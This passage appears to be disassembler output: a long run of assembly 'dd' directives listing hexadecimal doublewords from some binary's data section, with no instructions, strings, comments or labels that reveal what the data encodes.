25125904h dd 0E26FD0FBh, 247F00C6h, 0EB8B2978h, 0B93F5A47h, 0C9060077h dd 0FD31BBCEh, 1C5300CDh, 96B0030Ah, 0DA0ED7B3h, 0CA88DCh dd 59DB711Bh, 46B8005Bh, 0FF165EDDh, 6F1ED6D1h, 0D2C39EFAh dd 0F886A0FCh, 149691BFh, 0E8A4923Ah, 0F55C0771h, 200AA7ABh dd 0FFEFDF90h, 5EE53A01h, 2434AC78h, 3A674C24h, 80601F70h dd 0EA8406A3h, 16F6A20Eh, 677181EDh, 218AD33Dh, 1C69ADh dd 0BD739AA5h, 3F06925Eh, 922DB64h, 27A90028h, 77450B55h dd 0C8013E58h, 7B69DF6Fh, 6DE08FE5h, 8A1C0571h, 76EAAEAh dd 0C3C25F28h, 0D1A0237Ah, 2D2287E6h, 55CF0029h, 0C7A4485Fh dd 0C861BFE7h, 36AAEBA8h, 32ED2040h, 3066FC4Dh, 5B1D0E2h dd 0E4E5C379h, 9400FCF6h, 245E8967h, 30B09B62h, 8EACA3Dh dd 3300ED91h, 0ABB4CC1Eh, 0FB787EEh, 0E4EBFFC5h, 0A07F1B87h dd 0BE11AFF8h, 0EC48A216h, 7D32DF0Bh, 0F92F4806h, 0FDE7963Fh dd 8102EB0Ch, 199823h, 9B60AAB7h, 6BB062FEh, 0BA8EED1Dh dd 6180AC1h, 0A0BCC409h, 29803B98h, 6A808D26h, 0FD8B01BCh dd 0DBBB86E6h, 0F01CCDE0h, 78007A85h, 764A23E7h, 7895141h dd 0E5BDA4B0h, 0F0D21068h, 5C00BA3Dh, 677E4831h, 7485FA94h dd 539016h, 975F32A8h, 7D9F9E0Ah, 3BFFDA00h, 0BE6CE709h dd 76F4008Fh, 0F7B25424h, 500003B4h, 0A86DCAC0h, 19A44AAh dd 1CA278AEh, 7ACEEDC1h, 90B82DC0h, 2A230A38h, 0C87D79h dd 82FCE092h, 2400E2C1h, 0F0CFD015h, 2A228D9h, 0CCA34F9h dd 16E05BC2h, 6748EBAAh, 1E2113BDh, 49560C00h, 0BAC6594h dd 0B07C331Ah, 0BC00E65Eh, 483E4466h, 537B00BEh, 0DACF8ED8h dd 0E95C43B2h, 58FB028Ah, 60B06DC1h, 1CB64580h, 0D9A2D7h dd 205A9236h, 6B28D610h, 530BD0B2h, 87A52E70h, 0AFA0882Ah dd 1FF85491h, 0C028AADFh, 0C869310Fh, 0B401C7EBh, 1235A038h dd 0B7D0CC97h, 916207C6h, 0D431FA4Dh, 23058048h, 8700FB24h dd 0D517E976h, 58B91802h, 6900642Ah, 2625EDCCh, 6303D739h dd 5DD88AD2h, 91809DBBh, 9419A9h, 40CEEF5Eh, 67A259C6h dd 0C20058B0h, 0AC8C3B2Dh, 90C46358h, 0B6AFAC4h, 0DB9C94D4h dd 6417400h, 38039F7Dh, 0E9927A73h, 0C5200068h, 18D587D7h dd 2B02BA76h, 6A8AA6BBh, 3DD4807Ch, 9BA462h, 28B5D242h dd 2D56B113h, 5131F000h, 0E495F32Ch, 0C1DD008Fh, 7BBBC306h dd 393A544Dh, 49448080h, 9ED15FB0h, 0A57F3A20h, 0B1083101h dd 60517794h, 0C43CA8A2h, 6D5400F4h, 0A300E2Bh, 0B9AF0175h dd 9D8AB20Fh, 736460D0h, 0BCB3A16h, 499C8440h, 26D8B287h dd 0F8FCBAh, 9B7771D5h, 60C707E3h, 6170914Ah, 0E49A60h dd 966E1534h, 20D912BBh, 45BDC600h, 7C4E0E81h, 4474EF06h dd 10A7594h, 0EB5D80A2h, 0C84E463Ah, 0FD00ECC4h, 0E503BC05h dd 0C87702h, 217E68FEh, 158A34EAh, 0CAE6A000h, 912CA379h dd 0D06200D7h, 73E56D20h, 0F701AEBCh, 0FF6F4B18h, 89C49399h dd 0B8FE58h, 95690E5Fh, 0E6DA7455h, 0B1C33Ch, 6409862h dd 181D54DCh, 88FDD539h, 0E405A179h, 0D9DA017Fh, 0B7C86F80h dd 82AC07FBh, 70D838D0h, 989AB1E3h, 0A9F56A01h, 0C131698Bh dd 3259FCh, 0FA2C73A7h, 0BF970121h, 7FA32000h, 50D2A5FFh dd 8C860E64h, 61C1961Ah, 60754EEBh, 573CEFDDh, 0E6A9805Fh dd 1FFE99A5h, 54EECEh, 5A584AA6h, 0F0540C1h, 995BC51Fh dd 43DD2880h, 26BB878Ah, 2F9CCF0h, 5CD9C9AAh, 71D887E3h dd 0F6008FA5h, 62C2EE04h, 731920A9h, 531E3E52h, 0F16D6A80h dd 0BC1101EBh, 7863A00h, 505ABDA2h, 4DA100D9h, 846EBABBh dd 30C0AE85h, 884AE2B7h, 0F22B00EDh, 38B12AABh, 0B00F24B6h dd 376920h, 0A6D5731Eh, 0E97E0010h, 0F0B3928Dh, 0D14A953h dd 946386h, 5058662Eh, 0A0C776FFh, 0A04DDAh, 9BB3425Ch dd 97A67347h, 8BE6FB00h, 168111D9h, 0FC7FD6h, 800946BBh dd 0B90B0F87h, 6D4E4Ch, 66C8F654h, 6A5342h, 594AEA9Dh dd 5845FFAAh, 7F7ED8FFh, 4817EF01h, 0E0D78319h, 0A393E8h dd 3F817968h, 0BCE53D65h, 0A02F100h, 25DF33A2h, 0CE270078h dd 84F518BFh, 0B9004A45h, 0E4CB6C73h, 3EC0A32Dh, 0A5009BFDh dd 1C493088h, 0A800D86Eh, 9C5EF23Ch, 90489808h, 0EE500034h dd 1F5C7C3Fh, 5400C1F7h, 0FB1D8373h, 0A0E72245h, 7044D0F0h dd 799D1D76h, 9C60C052h, 0FA1CECA5h, 0E9A02700h, 0ADF18487h dd 0AC53005Eh, 0CC31167Fh, 0D0049A4h, 307840B8h, 1E6BD7h dd 4AB5EF47h, 3EDAE22Eh, 0B60260E8h, 48879ACDh, 2F0EC0BDh dd 905C729Fh, 904F0346h, 0D6EBB155h, 0CEBA70FFh, 0F80013C1h dd 9C3363F2h, 0F109BC9h, 0FED37797h, 7ED97040h, 42036BF4h dd 68148A79h, 0C81E9020h, 27D0C059h, 5876CBB9h, 1954BC00h dd 6426C84h, 39B8002Eh, 7D5DE5FEh, 0A7008392h, 0E4F12F8Ah dd 26BDD7h, 12545F9Bh, 0A0C1793h, 0DC82200h, 3AC542FCh dd 98921226h, 0BDB80091h, 0ACBFDC94h, 5A103163h, 35E3C8C0h dd 0CD281289h, 10384730h, 0EF9B8192h, 10BEC0h, 7B44E695h dd 0F07F05h, 78127C0Eh, 0D6D7646Fh, 0ADB47204h, 0EBC03951h dd 0ED7E9Dh, 737F2ED2h, 0AF1FCF93h, 0FFB01B02h, 0A05CB43Fh dd 95582EE0h, 60FEF03Bh, 3AFC9134h, 0BE6F3814h, 3EDC83B1h dd 511003Dh, 0CBB047F9h, 0FD0173D5h, 0D99AD854h, 418E326Fh dd 6179FB40h, 0E4C88030h, 23952819h, 7C7850DDh, 0FA0C00F8h dd 1CC65B6Ch, 0ECF644C2h, 0F7DEE000h, 61E40755h, 5A791F4Fh dd 905F4031h, 9FD757DDh, 0FEB12300h, 1F27E499h, 43D51EE8h dd 352000FBh, 8B260C94h, 19467000h, 7CA712CBh, 0D34D0134h dd 0FD47B9C6h, 6CE087C5h, 0F7B1E0C2h, 0F420B297h, 6D5F0184h dd 670F9FD8h, 18B02ECAh, 0D36B013Ah, 0D2FEB933h, 0D600FB31h dd 921C51F4h, 2CF8C0h, 0D766BD01h, 261889DAh, 0BF802400h dd 0EF2EE1F1h, 0A1430F51h, 8A603F70h, 6590C87Dh, 60030700h dd 0C0F5E45Dh, 2D1A14FFh, 218EEECh, 0B02910C4h, 5DDDFE00h dd 0B341F2AEh, 5EE0F95Fh, 0A40C007Bh, 4340371Fh, 0CC019DC2h dd 61AF154Bh, 19D4558Ch, 39ED0063h, 1E56928Fh, 2D00816Fh dd 5C735E76h, 39920BAh, 0CB236614h, 2BE05FFCh, 0BC0ED882h dd 0E06AABBEh, 7E4C79EBh, 7AA2006Dh, 25CCFAD0h, 0A0481B8h dd 2059B5ABh, 778A7C91h, 1CEBD8h, 0F09105BBh, 48E90DD2h dd 98137309h, 0DB9C20E0h, 511586h, 0FF6B4262h, 0AC11CD5Ah dd 0D9AEEE13h, 3D177003h, 10BD9075h, 407F58D5h, 7BDED100h dd 0F45884A8h, 32EFF100h dd 70CD5B49h, 0B12800FEh, 0E9EE9BCAh, 0B3034CE7h, 0C7D8DDACh dd 0BC94C15Dh, 59A020h, 0ADE8847Bh, 683E5614h, 0A4C1BB2Ch dd 4EF86440h, 0C3D92860h, 0C7C603BCh, 0EFA87A6Ch, 5782E1CBh dd 7E916848h, 0E8627C00h, 3A6A922Ch, 0E3B3000Dh, 8CA1D571h dd 280EE013h, 0A02E1574h, 84645114h, 3E0B85Ah, 0C0CA8849h dd 0D879FA66h, 8E2B1F00h, 1A857297h, 29E00062h, 3414836Fh dd 6B7DD8F9h, 743F3800h, 0AF1AA413h, 0AB2800EFh, 5E278BDAh dd 7F009FEAh, 0BB5C959Ch, 9731C7h, 66F80483h, 5DD1260Ah dd 3751F700h, 13EB166Eh, 0A3A801F1h, 7440693Fh, 0B046C8A1h dd 4B411900h, 58D8DCFFh, 0B8CF003Bh, 9956E029h, 0B71E4D8Fh dd 0BC1E699Bh, 954B8400h, 4A2157h, 4C23F098h, 0F6EBA633h dd 4FCA0600h, 0BD77FD71h, 0FF5006Fh, 0D2A70283h, 947EE97Bh dd 8C0ADDF6h, 0CCBDE1FEh, 0FF3FF83Ch, 383C2E44h, 8A2AB180h dd 76D6D5EEh, 0A233005Bh, 294CE3FDh, 661D7503h, 0F580F3EDh dd 617B06C5h, 5AEE656h, 0FE0F0DDFh, 247C04Bh, 0DA00D5B8h dd 0D15DC329h, 2607A157h, 0FCC8DCh, 8F7B88F3h, 0D4036AAAh dd 1EAB7D10h, 0A56DC016h, 865A0E87h, 7E72F3h, 8EF50676h dd 200E87Bh, 9235E0FDh, 0E6F1819Dh, 4ECF1F01h, 165780F8h dd 6AB84893h, 0B9780C3Dh, 1D3A8095h, 86D84CD5h, 345200DFh dd 18CF7B72h, 65005B33h, 59A3ED6Ah, 0FA0D81C1h, 429C005Dh dd 0A108E74Ah, 380FF640h, 0A1C0E8EEh, 4968FCFBh, 3ADB63C0h dd 0CA007CE6h, 0B8A17D01h, 7000A327h, 715BDE72h, 37359Dh dd 0CA49BAE6h, 0C7EF5D1h, 0D73C0900h, 866C8369h, 0B89B00CFh dd 8B495EE9h, 7A397E43h, 0E1528B02h, 98AB83D4h, 4E68E8A2h dd 0E78E0C53h, 0E212EF3Eh, 742BFC00h, 0F0967C2Fh, 0D2020F95h dd 92C0219Eh, 0ADF247F4h, 0D594A200h, 367B845Ah, 0C13838CDh dd 7916BDh, 3E2C7162h, 470C5074h, 5CF04479h, 0D7757203h dd 973C1Fh, 3E5A2748h, 0F083E899h, 3DFB2102h, 0D45C26A8h dd 805F1C31h, 3B42CC8Ch, 713CA408h, 0E8390079h, 49272E56h dd 29FE36h, 0E7AC2B06h, 1A162322h, 504CD400h, 743171A5h dd 0B6D500C9h, 44DBE424h, 980FE1ADh, 0C35F5570h, 0A09196F7h dd 0F134F02h, 0F3695223h, 0AE032BA0h, 0F80042F4h, 3208C42Dh dd 0E8C2596Ah, 0A076004Eh, 8C2C891Bh, 7010F82h, 0C3457520h dd 53F8CFB8h, 0FB6905F8h, 7672350h, 3096BB80h, 1463E50Eh dd 0C02ABE02h, 8025E933h, 521D20E1h, 11B03DBh, 151FC646h dd 0BDB0AFEBh, 540036E7h, 0DF1E9A21h, 0C710FEh, 14672943h dd 0A24AAB73h, 40CB6300h, 835CB38Ch, 0B8719Ah, 0FDC9C8BCh dd 0F28DEE2Ah, 0C01CA925h, 0B9FDCE7h, 746E1E33h, 3DAEC400h dd 4C00A2D6h, 0CFFF1AFAh, 58C9484h, 0B9050B0Ch, 0E1F40295h dd 98804AA5h, 0A1BA038Eh, 0E4A20A01h, 594E0943h, 0B3BECh dd 0C2F7E0D4h, 2D9C740Eh, 131E3804h, 0C905518h, 8040BAh dd 77752E6Dh, 0A392CEF7h, 48F57430h, 0EEDCD53h, 57865451h dd 80F66245h, 5F5BAE8Ah, 0BAFCF902h, 8071D483h, 5AB97C80h dd 0D3CA3E94h, 5EF9B730h, 3D0044F8h, 0CA089C6h, 701B1Ah dd 2DEF99A4h, 0AFE356EAh, 9218BE00h, 0F7F19C95h, 0E1C7004Ch dd 86E74445h, 56F08981h, 0AA41D200h, 9FF705F0h, 74770EDh dd 0A6B22E72h, 8EA030D8h, 5C17CBA5h, 300EB896h, 2DA96034h dd 0EEB5C007h, 0FBC51F4Ch, 0DB60094h, 0F2E5FF45h, 500AFE03h dd 0E04E8F8Eh, 3D6E3812h, 9024C187h, 6B67004Ch, 580C5DADh dd 9A56D307h, 0CC67DEA4h, 37716FF0h, 787E0095h, 0C6B49CECh dd 0A00C2775h, 409B57BEh, 7282F4EAh, 0BF6400FDh, 60CC0D32h dd 0B0009284h, 3B27D874h, 0A33303h, 2643346Fh, 0CC7A69A5h dd 7507AF3Eh, 0F4746D03h, 981DF32Bh, 0A8260FEFh, 273FE0h dd 4E0D0725h, 93354C10h, 0C01E0E00h, 7499F4A2h, 0C36C0091h dd 0B00BD470h, 0E100A120h, 0F32A54E8h, 56D7F0h, 55CC2715h dd 0EAAADA97h, 0B18DBC00h, 900E4ABEh, 0EDA33EE6h, 20027D00h dd 574C1DD8h, 0FD49910Fh, 0CB1CA095h, 0A36E5A2h, 5023C8D9h dd 47601C8Ch, 3B4CCD2Dh, 0CF067C80h, 8F1E4E20h, 0B9E87657h dd 735A500h, 6067EBB5h, 0D70D0088h, 0C3D35110h, 0D0004B26h dd 0EC59FAC2h, 0A34618h, 12177524h, 0CD39AF4Ch, 9BF024EBh dd 5BB9B200h, 0E6A41E4Fh, 8BB6483Fh, 5F80673Fh, 65BB9185h dd 750078DFh, 0D1A9CF56h, 1D4E841h, 0FC100969h, 403E143Fh dd 0AA5CF586h, 0EA1F7F02h, 68C14F1Ah, 740106DCh, 8270C098h dd 904A03E5h, 9DFCD400h, 0E392321h, 1A21C397h, 3901C4FBh dd 7B77E341h, 6FD0CB1Fh, 18466FF0h, 6480C30Fh, 0FFB63C59h dd 5B070500h, 7F39201Bh, 26AD007Ah, 0CB90C33Bh, 0ECF0C145h dd 0E56F7C1Dh, 76AB41F0h, 96D1FB42h, 87C799Eh, 803CCA89h dd 1FD48854h, 9F2265h, 0DEDB9DA0h, 4E19A1E4h, 0BA996CA0h dd 357F7703h, 0B0FB970Bh, 17D0E7h, 2B508F45h, 0C6D1C9BDh dd 14719D1Dh, 0A497E380h, 1EFD83C3h, 4EF5F9BBh, 0AE2F848Ch dd 0C2383E80h, 2100F25Bh, 0C8FB5E49h, 3476EDFh, 0FA644F5Ch dd 7800CE8Bh, 4A1F4518h, 30ACCB3Dh, 1D19798Eh, 1A00AB38h dd 1C1924F0h, 5416D2B6h, 1E5AF4D8h, 8097CC44h, 7B4188C2h dd 2C0678FFh, 861F751Ch, 17500318h, 0A49C1BC5h, 805CC7ACh dd 0A38DAA49h, 4EA89B00h, 48A9FB9Eh, 1E9CA88Bh, 7E510791h dd 749B1967h, 0BB3A8120h, 0A39E06Dh, 0B6151712h, 0C8616003h dd 431804D7h, 51A12FAh, 8CC0499Bh, 0C09E1507h, 0B4438968h dd 0C207D50Ah, 739BEC02h, 0C1CCBBB3h, 10EFDE4Eh, 1DB77A80h dd 0CB5891E5h, 0F71258h, 1EF5CC7h, 0AB8861DDh, 2D036C7Ch dd 7967B48h, 2032E125h, 1BC6FE0h, 522124EAh, 0FCC2BD35h dd 0BC9A8145h, 0B97990C4h, 0A9495A20h, 935B1484h, 4C069888h dd 0C8C78EE5h, 0D6823918h, 8DE1FCE8h, 70B97988h, 53097585h dd 0E51C17h, 84439D14h, 1FCCA896h, 18E161F6h, 0EAB5B870h dd 0D802E044h, 9A7D0DFAh, 43684034h, 0C108CC01h, 1200DA21h dd 0BF46590Eh, 843E94h, 57820D63h, 196E2608h, 7CCD7E24h dd 0F7D4B380h, 0CAA0A6h, 0A97533B5h, 71DF7EFBh, 68BE5938h dd 63D9C82h, 80C82B9Ah, 27560CA0h, 4FD8A029h, 19684431h dd 5881368Fh, 0FB91E4C4h, 8870A224h, 10208403h, 0F06BE381h dd 739B8EAh, 7751C2ABh, 2F844083h, 0C41C22E5h, 0A0470EF0h dd 81C063Bh, 0C021C07Dh, 36AAC42Bh, 0BBE78F00h, 154D570Eh dd 0FA76C7h, 0D824761h, 0E53088A7h, 37858A07h, 404C2DDBh dd 87BA00CFh, 26A99645h, 0C13AAFFFh, 21C83028h, 1886F2FAh dd 71897412h, 4C000230h, 5F255766h, 3E1BFE1Ah, 0F18CB0DCh dd 94393969h, 8F3B3201h, 512D7FE1h, 307758FCh, 679825B9h dd 96002B6Fh, 400CCA20h, 78C1795h, 66997238h, 7D805B98h dd 21E4FF06h, 0B1D7D809h, 0F918001h, 37AAB10h, 0B6F24193h dd 92F08C3Eh, 194C3B38h, 28CA00D5h, 0B5F3D2DBh, 44CC00C5h dd 2FFC4634h, 7C00DAB2h, 4B7F0C2Bh, 0BEA51Ah, 0D04952F2h dd 132511D1h, 4D1CF100h, 0B2F6DAD3h, 38280083h, 0F85AB040h dd 54007C6Ah, 0EB75941Dh, 0EFA808h, 834AA119h, 0AA39A097h dd 76BA5A0Ch, 84482867h, 220CE222h, 21319F13h, 726C5171h dd 1210BA11h, 0F714877Fh, 8BA0516Ch, 64D1FE0h, 5D2A4F00h dd 0F0115F35h, 6A7561h dd 5A7B1280h, 5621468Ch, 0AB4FCD07h, 0BDD0E983h, 78B7898h dd 7664A2C1h, 852A50D3h, 6C008927h, 0BDBEFC22h, 958621h dd 4DADA4C7h, 0A2964C3Fh, 0EA11141Dh, 0FABD4FC0h, 0E0B75F6Ch dd 66900B9h, 0FDD76550h, 0F13D0EA6h, 46770005h, 0BE9E321Ch dd 0EB6C003Fh, 573DB34Bh, 5B00C675h, 5CDC0D29h, 964943h dd 15FBE56Ch, 0F2841999h, 460FBD7Eh, 0CF7747AAh, 45D360FDh dd 1EC50198h, 405D6A1Eh, 33753E89h, 92004479h, 69D1F40Ch dd 0A8111BBh, 177BA1CEh, 866200DCh, 95B5703Fh, 33441600h dd 1DECFC81h, 0AAC9017Fh, 0F1DB2662h, 0D3D86085h, 95234B00h dd 71730841h, 0C0CB0794h, 1F09319Eh, 0A5124441h, 3463C05Ah dd 5CD14000h, 0B7663DFFh, 868500EDh, 4F1E2DE8h, 7B007207h dd 4C219C45h, 952A17h, 0D0886A48h, 71D3B331h, 14171AE6h dd 1B004203h, 0D8F95DFBh, 0CAB16C7h, 71EC0082h, 7974D4D6h dd 247B7600h, 208F4FE6h, 7FF01E81h, 3102B9D2h, 7EA9A47Dh dd 0F4CD4BE0h, 62F5AA17h, 0A1B4A002h, 40F4608Bh, 3DE000A4h dd 0E6FBC851h, 820E17E7h, 0A0B1FCCEh, 391D9902h, 0F831099Dh dd 6880A02Ch, 9546CF1h, 0D4122500h, 0C195B196h, 0E06E0732h dd 0F0D84FFDh, 0F22DC608h, 0BDA5CF07h, 95105359h, 0AA28DFh dd 87E6C09Dh, 89F52280h, 7012B98h, 20CBE4E8h, 0AAC4DAACh dd 84E00078h, 3DA5F34Fh, 53002261h, 415432A2h, 7054234h dd 375EFE74h, 0F27A5014h, 4A3A0912h, 0A2E680C2h, 6E518DBh dd 36EC00DCh, 4CD750FFh, 6C013D10h, 3F82E9B8h, 63EC32BDh dd 9EE20Bh, 5A805CBAh, 0D9CCBC1Eh, 81720600h, 0FEC458F2h dd 22E868h, 27B4B62Ch, 0DA893D0h, 822FD600h, 9632F98Fh dd 59D0047h, 0B89493Ah, 5C191B48h, 66F8306Dh, 908FA3CCh dd 0A67210h, 13535002h, 41AB48Dh, 83C4941Dh, 7FF60302h dd 0EAE8845Bh, 0BF478F81h, 0ED9AB440h, 1D41005Ah, 8B6A35B9h dd 0CBF6F731h, 3B6B9800h, 0D05694A2h, 462C008Ah, 0E370BEC1h dd 351DF365h, 106E3BCDh, 8EE2DA07h, 74234E00h, 39060FC6h dd 7A87D161h, 0B4C4F0FFh, 0C500188Dh, 8C678524h, 30C2C7h dd 0F79D9F66h, 4976BE9Ch, 80AC0D3Ch, 40A4F04Eh, 4BED2Ah dd 4653303Fh, 569034D4h, 8E2F5800h, 713E6539h, 500C00B6h dd 0DD1AA76Fh, 290033CEh, 2C16BD2h, 1931506h, 0CC1398AEh dd 20B904EFh, 50000708h, 318F596Ah, 0E815C966h, 1E12000Ah dd 0CDA2BA85h, 88482522h, 87100304h, 0B8B4F83Fh, 2593138Eh dd 2BD46EB8h, 2D48C200h, 264A874Bh, 2033F6h, 0C9B4940Bh dd 0D1007135h, 0AD8420FEh, 6EC6C2h, 0A91E29CFh, 0ECFD43D2h dd 9D420E00h, 0F6F718DEh, 997AF1h, 0E8C1A798h, 0C3471044h dd 0AA9E4Ch, 476D935h, 191FD11h, 0CA0F83Eh, 0C099C737h dd 4400BB4Dh, 9F6773AAh, 0B0C35EDFh, 0E8591F30h, 5C984797h dd 0BD6F8160h, 6BDC20C5h, 35B11500h, 2DF2B549h, 0E1A22479h dd 0DA4C004Ch, 75989073h, 691FE200h, 97315C5Bh, 0F866007Ch dd 0D758E781h, 0A90088E8h, 28FD38E1h, 617B8A9Bh, 14C181B3h dd 0B19C57BBh, 20EEBAADh, 0B3015DE3h, 778FAE23h, 42E88B50h dd 35280629h, 80D1ADA0h, 6739F000h, 0DBAC0307h, 0C850F7Eh dd 5B614891h, 70C6619Ch, 0BC009B09h, 0DDEA10ACh, 67BA40h dd 41E685A9h, 0FCBB8D2Dh, 94A51728h, 0DE213900h, 880E3807h dd 96A80087h, 1AB5864Ah, 0F748898Dh, 0D3E58F8Ch, 0BE089105h dd 9EA9F3C1h, 2C35C0h, 671C5B79h, 28B41E74h, 0FE3BCB00h dd 1A9D87C5h, 4BE900EDh, 0BDE36EB6h, 2C3AD239h, 0A37C80AAh dd 0A99247F3h, 0BB7538h, 0B16296A4h, 10CA8EF5h, 880CFA00h dd 0D68527F7h, 0FA502A9h, 0B146B966h, 231D5C40h, 29B7E20Fh dd 0E40652C7h, 0F4FE4ACDh, 6E520053h, 3C713F08h, 930FF706h dd 689E5Fh, 813AEB13h, 0C27A00D7h, 2D5751BDh, 31733589h dd 64C44400h, 3E691D46h, 0BBF00320h, 0DD51036h, 0DA8D6801h dd 2564F7AEh, 0CEBD0h, 78525E1Dh, 57B8CC9Ah, 0BA7D6F07h dd 76404FD4h, 4C9B39E6h, 103E7EFh, 27D118B5h, 6BF36098h dd 97744800h, 41D0DBFCh, 0F4E51EBFh, 0CE4B1DABh, 0C3C10A4Fh dd 0D8CD3144h, 9B001C8Bh, 249C162Ah, 70467Eh, 0AAC439EEh dd 53FF03E9h, 0CA44CD01h, 0D9B14168h, 12CCE080h, 0E424810Fh dd 0CE6F0100h, 0EF6864E9h, 8F620044h, 8A484AEEh, 85004F03h dd 820984D8h, 389894BBh, 0AA80BAE6h, 0B7499BE4h, 5E1EF6C2h dd 9141416Ch, 32D60960h, 9F634089h, 0F05388h, 0FDA231Fh dd 8300547Eh, 0D6B7FEB4h, 7C79Dh, 0B03D9E86h, 0CC8AB6D3h dd 48120B1Eh, 8EFC5A83h, 9D14F004h, 386E7190h, 0E480781Fh dd 5B74E0F8h, 1B00EF95h, 7A063B84h, 1EDC245h, 0C689C5BEh dd 0F08673F2h, 31008023h, 0B8507D2Dh, 0C2371AFEh, 0ACA84430h dd 0BBEF3843h, 0D3703E00h, 993ED879h, 0CEC804B1h, 6C8098F6h dd 1C7C2D4h, 7CBE8E5Ch, 0E6581433h, 56E96043h, 608C2090h dd 0B0CA0100h, 0F2EB54E7h, 579A0086h, 0BF7EEF25h, 0D93B0915h dd 598780C0h, 6FD351A2h, 8F7A24E3h, 4E5D0C74h, 0D8011210h dd 0B8EF8606h, 30209E7Ch, 0ABAF00CCh, 5A8772DEh, 0D4001C40h dd 0C45509F9h, 866CF2h, 5B07CFF0h, 0F6D1E80Ch, 170CA57Dh dd 0A87831FAh, 0F59303A6h, 0E643BC21h, 0DE30CCD8h, 63C7CA00h dd 4F6CD105h, 15D701C2h, 9B1A814Bh, 0D755E992h, 2A655DB8h dd 4A8E711Fh, 4D24E2C0h, 1DB9F948h, 80278AA4h, 0CFBC5618h dd 63182F7Ah, 9EF01FF8h, 0DFB22821h, 82340F84h, 0ABA0F635h dd 8AA4690h, 0E50A97EEh, 0C8686B5Eh, 922BEA00h, 18D8AB9h dd 48967519h, 0D47DC6A0h, 42006BF8h, 0B93773A4h, 38CD8D4h dd 552B6A71h, 0A2898462h, 50D5D839h, 7A00787Fh, 0D30A8FECh dd 1D9FA029h, 5FB7811Ch, 154F00ACh, 0AEDD22D1h, 0E4FF0C00h dd 1E678D38h, 0AF05012Dh, 0FD8E6814h, 84DCE0C7h, 0E4CC5412h dd 0EA489C02h, 5A43BBh, 0B73AE928h, 9C292032h, 451DA313h dd 3FDA5838h, 6EF3173Bh, 76AE3CA9h, 9F3E2081h, 903DD01Eh dd 33CB1B00h, 0A37A2BBDh, 0F3160385h, 0A77D28F4h, 82FB66E0h dd 0EF5A2500h, 0B475BEF2h, 83DF0F36h, 0F6E058F3h, 3D7F4349h dd 0D2934A1Eh, 0C2059C7Dh, 4F00779Dh, 488E90A0h, 75A11C72h dd 9EB000F8h, 0E984115h, 6F36CF00h, 0BC108F26h, 3F9F00CBh dd 827C4648h, 98074317h, 535D9A58h, 0D9FD5C80h, 12D2046Ah dd 872E9B13h, 0CDECD0A0h, 16B09F7Dh, 0A14B9D00h, 0C1409264h dd 5D130901h, 0BA804298h, 0E5C61081h, 0D3F47A1Dh, 0C5239BC3h dd 0DF80E5EDh, 3CE6B5h, 0F274EF0Ch, 0B104C2B0h, 75C6AB00h dd 91060740h, 0C7A100A3h, 0D3A24C4Eh, 407F8F9h, 94F76BAFh dd 66B89DB0h, 8422000Dh, 54EA56EDh, 34070C7Ch, 574C6B41h dd 0FA00910h, 0E6B00394h, 0EBB48435h, 5EF0C5F8h, 0FD3FAC90h dd 59250069h, 386E06B1h, 6B7A5Fh, 7D727578h, 3170FBCAh dd 0AC640100h, 0EE0919C1h, 0A2730787h, 20E53EF6h, 7A69FC62h dd 78B16600h, 580832F5h, 42741707h, 807B0035h, 36DB4423h dd 0B10B0D0Eh, 59960026h, 0F3CEEAAh, 919ABC35h, 0F1F49BC3h dd 0C4488092h, 0D012F8B5h, 0EC007BAAh, 0C3814A4Ch, 0A4F40583h dd 81841E72h, 30E83E8Ch, 449AFDCCh, 0E6C54F16h, 146E0F00h dd 0FEDCED75h, 139226E5h, 0F200BBBCh, 81B31A29h, 620095D1h dd 580C39D5h, 0A4091E9h dd 5463196h, 338B00F8h, 625A7B2Fh, 0F48A4406h, 8285920h dd 0A756D1A4h, 3E901780h, 24262732h, 350548Bh, 0C0C5750Fh dd 870719F0h, 0D7FF4800h, 0F68F884Fh, 1667732h, 0B2302A9h dd 0F4ECDF0Eh, 0A5007AA2h, 81F5B220h, 2F7E5Ch, 2C576D91h dd 1A6035BAh, 0A8165F01h, 0A11D9748h, 8353F0h, 0CC4CCA9Ah dd 4E1FC837h, 0B771B118h, 260D3A8h, 585E9495h, 40602A64h dd 9B0F2EF5h, 0C02CC956h, 17167688h, 504C0059h, 6D41E5F1h dd 21EF584Bh, 0C3D7E804h, 4055A300h, 5E5A6099h, 0B92000DDh dd 36F2DED6h, 6900E2C2h, 87D0F61Dh, 14965B1Bh, 0B8D7AC45h dd 91854A3Ah, 0C1A6A46Fh, 609D0A92h, 0DA267A28h, 49802444h dd 0C1FDCA0h, 78D27376h, 0DF122E75h, 0A6B00EA4h, 0C27C0382h dd 2F022700h, 0ECDB0BBAh, 1C00F9D6h, 44BB45C6h, 0D948BCA0h dd 0B3141300h, 0C330EB73h, 706A60F2h, 84196071h, 290070EEh dd 4CB78B74h, 44809Fh, 0A62FD05Dh, 6FCAC3D9h, 3F8D9A1Eh dd 0ED7EB641h, 3470C524h, 15C100C8h, 473C717h, 0D900E002h dd 8AE44668h, 1F537D5Fh, 0AD3B60h, 0D8904537h, 0F702D454h dd 1AEAF963h, 578C60A0h, 8B7F0096h, 1B656C2Fh, 0EC48C1ABh dd 0A75F0E24h, 11AE8CC0h, 862B0038h, 1463BD6Fh, 19D6F012h dd 0B6E2B000h, 138AEDA9h, 4035F70h, 88736EDCh, 0AB340194h dd 0F80170B9h, 5D4C356Fh, 0E64E30h, 75FB705Eh, 27EB130Fh dd 0C2904A50h, 0A4024Ch, 8861A59h, 3B6E2D4Eh, 0DD01F1B0h dd 979CF409h, 10A9D00Ah, 3247C400h, 73A1857Dh, 0D109015h dd 0BF08D451h, 8625F042h, 600948B8h, 765EE4Fh, 49A00F78h dd 76A07Fh, 9DAF75F5h, 0D974618h, 6685CC00h, 4DDA94A4h dd 4C720F49h, 5BC767EEh, 4738275Eh, 279EB301h, 0D803D801h dd 0A2F5C642h, 0C88260h, 0EA49E737h, 16B9E591h, 0FCF47800h dd 6B627B06h, 9FBB037Dh, 0EBFEE4D2h, 128E9AB0h, 9850A203h dd 0A01C9B0Bh, 0F42AA486h, 1150030h, 33D3D852h, 0F700BCA0h dd 623C36DEh, 9AC95493h, 9A7C0134h, 36E31DDh, 66A5F4BFh dd 694EC412h, 824585Fh, 6B84FB00h, 3C948B9Dh, 8F80D7D8h dd 34ABBD0Bh, 4F007AF7h, 683823DDh, 25F9E3h, 5528E243h dd 46D8F29Dh, 913A200h, 901065DBh, 1C48B8B5h, 40D0C1EFh dd 74E9FE4Ah, 8212B83Ah, 2849E4h, 41DA0093h, 8A06D1Dh dd 86006B6Ah, 0B19DDC35h, 9FB1A8Ah, 